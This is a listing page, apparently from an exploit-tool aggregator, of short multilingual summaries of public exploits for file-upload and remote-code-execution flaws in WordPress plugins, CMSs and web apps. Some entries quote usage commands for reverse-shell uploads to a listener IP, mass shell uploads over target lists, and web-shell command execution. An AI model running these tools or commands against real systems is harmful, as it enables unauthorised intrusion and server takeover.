CVE-2019-15813

CVE-2019-15813 Этот контейнер создан для объяснения и демонстрации того, как работает CVE-2019-15813 Sentrifugo Sentrifugo V3.2 Sentrifugo — это система управления персоналом Как установить docker-compose up Учётные данные по умолчанию для проверки ----Супер-администратор---- Username : empp0001...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 — загрузка reverse shell Эксплойт для WpDiscuz 7.0.4, основанный на эксплойте, написанном h3v0x. Эксплуатирует уязвимость и загружает PHP reverse shell. Вдохновением послужил Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001...

wordpress-shell

wordpress-shell 手軽で粗悪なWordpressコマンド実行シェル。 Wordpressを提供しているウェブサーバーとしてコマンドを実行できます！ アップロードしたシェルは、おそらく /wp-content/plugins/shell/shell.php に配置されます。 インストール シェルをインストールするには、Wordpressインストールへの管理者アクセス権があり、プラグインをインストールできることを前提としています。 dist/ ディレクトリにあるzipファイルをアップロードするか、以下のように自分でアーカイブを作成してください。 root@kitploit: $...

CVE-2024-25600-mass

массовая загрузка шелла для CVE root@kitploit: python3 exploit.py -l yourlist.txt путь к шеллу root@kitploit: https://examplewebsite.com/asd.php...

CVE-2023-50564

CVE-2023-50564 교육 목적으로만 사용하세요. 이 스크립트는 CVE-2023-50564를 악용하여 대상 서버에 리버스 PHP 셸을 업로드합니다. 이 셸과 같은 셸을 사용할 수 있습니다. php 파일을 zip으로 압축한 후 이 스크립트에 zip 파일을 전달하기만 하면 됩니다. 예제 root@kitploit: python3 cve-2023-50564.py -u http://idonot.exist -f shell.zip -p hunter2...

CVE-2025-56399

CVE-2025-56399 Массовый эксплойт CVE-2025-56399 – Удаленное выполнение кода в laravel-file-manager v3.3.1. Эксплуатирует неправильно настроенную конфигурацию в Laravel File Manager для загрузки и проверки PHP-шелла через неаутентифицированную загрузку файлов. Установка Скачайте репозиторий...

OpenSTAManager_RCE_Exploit-CVE-2026-38751-

Эксплойт RCE OpenSTAManager CVE-2026-38751 Обзор Этот Python-скрипт эксплуатирует уязвимость удаленного выполнения кода в OpenSTAManager версии 2.10, идентифицированную как CVE-2026-38751. Эксплойт позволяет аутентифицированным пользователям загрузить вредоносный модуль и выполнить произвольные...

CVE-2015-6967

CVE-2015-6967 Nibbleblog 4.0.3 - Произвольная загрузка файлов CVE-2015-6967 Требования python 3 requests Использование root@kitploit: usage: exploit.py -h --url URL --username USERNAME --password PASSWORD --payload PAYLOAD optional arguments: -h, --help show this help message and exit --url URL, ...

payday

Payday Генератор полезных нагрузок, использующий Metasploit и Veil. Принимает IP-адрес и автоматически создаёт полезные нагрузки. Вызывает фреймворк Veil с указанным IP-адресом и создаёт бинарные файлы и обработчики. Использует msfvenom для создания полезных нагрузок и записывает файлы...

YAPS

YAPS - Y et A nother P HP S hell 네, 이름에서 알 수 있듯이 이것은 또 다른 PHP 리버스 셸입니다. 수백 개 중 하나이지만 몇 가지 장점이 있습니다. 단일 PHP 파일로 모든 기능을 포함하고 있으며, 간단한 TCP 리스너예: nc -lp 1337로 제어할 수 있습니다. 현재 버전1.5에서 주요 기능은 리눅스 시스템만 지원하지만, 윈도우에서도 작동하도록 만들 계획입니다. 현재 첫 번째 버전이며 아직 많이 테스트하지 않았고, 다음 버전을 위해 계획하고 개선할 사항이 많이 남아 있습니다 아직 완료되지...

CVE-2023-45878

CVE-2023-45878 이 스크립트는 https://herolab.usd.de/security-advisories/usd-2023-0025/ 의 연구 결과를 기반으로 작성했습니다. 이 익스플로잇은 Gibbon LMS 25.0.1의 임의 파일 쓰기Arbitrary File Write 취약점을 이용합니다. 이 PoC는 간단한 php 명령 스크립트를 업로드한 다음 이를 사용하여 PowerShell 리버스 셸을 로드합니다. root@kitploit: python3 CVE-2023-45878.py -u...

CVE-2021-25094-tatsu-preauth-rce

Tatsu builder Wordpress 플러그인의 사전 인증 RCE CVE-2021-25094 Tatsu Builder = 3.3.11에서의 인증되지 않은 RCE의 간단한 PoC 예제입니다. 전체 분석 글은 여기: https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ 사용법: root@kitploit: python3 exploit-rce.py -h --technique TECHNIQUE --customShell CUSTOMSHELL --keep...

Apache-Struts-v4

Apache-Struts-v4 Скрипт содержит 5 различных уязвимостей, которые эксплуатируют RCE-уязвимости в Apache Struts. На данный момент он поддерживает только создание PHP-оболочки shell. CVE ДОБАВЛЕНИЕ...

instant-appointment-arbitrary-file-upload

instant-appointment-arbitrary-file-upload instant-appointment - 임의 파일 업로드 설명 WordPress용 Instant Appointment 플러그인은 버전 1.2까지포함 임의 파일 업로드에 취약합니다. 이를 통해 인증되지 않은 공격자가 셸을 업로드하고 명령을 실행할 수 있습니다. 세부 정보 유형 : 플러그인 슬러그 : instant-appointment 영향받는 버전 : 1.2 CVSS 점수 : 9.8 CVSS 등급 : 높음 CVSS 벡터 :...

CVE-2021-30461

Затронутые продукты VoIPmonitor 24.60 Как выполнить RCE root@kitploit: python3 CVE-2021-30461.py -t ipaddress Оболочка в браузере: root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami Ссылка https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

CVE-2021-30461

영향받는 제품 VoIPmonitor 24.60 RCE 방법 root@kitploit: python3 CVE-2021-30461.py -t ipaddress 브라우저 셸: root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami 참고 https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

CVE-2019-11223

CVE-2019-11223 Произвольная загрузка файлов в плагин Wordpress SupportCandy версии 2.0 и ниже https://cert.kalasag.com.ph/news/research/vulnerable-wordpress-plugin-lets-you-take-over-websites/ https://wordpress.org/plugins/supportcandy/developers...

Prestashop-CVE-2024-34716

Сценарий эксплойта для CSRF и Reverse Shell Этот сценарий автоматизирует эксплойт CSRF межсайтовая подделка запроса для загрузки обратной оболочки PHP на веб-сервер цели и её выполнения. Обратная оболочка доставляется в виде ZIP-файла через специально созданную CSRF-нагрузку, которая срабатывает,...

cve-2020-11060-poc

CVE-2020-11060 此脚本是基于 Python 3.x 的漏洞利用程序，针对 GLPI 0.85-9.4.5 版本中的 CVE-2020-11060 漏洞。 原始实现：0xdreadnaught Python3 重构：n3rada ExploitDB 上的原始 PoC 现已弃用，因为它使用了 Python 2.x。新版本已提交，若被接受，将在本处添加链接。 构建这些 PoC 时所使用的原始漏洞研究由 AlmondOffSec 完成，可在此处找到：链接。 用法 root@kitploit: python3 CVE-2020-11060.py --url 'http://'...

CVE-2023-50564_Pluck-v4.7.18_PoC

CVE-2023-50564 PoC Этот репозиторий содержит доказательство концепции для уязвимости CVE-2023-50564 в Pluck CMS версии 4.7.18 Описание CVE-2023-50564 — это уязвимость, которая позволяет выполнять несанкционированную загрузку файлов в Pluck CMS версии 4.7.18. Данный эксплойт использует недостаток ...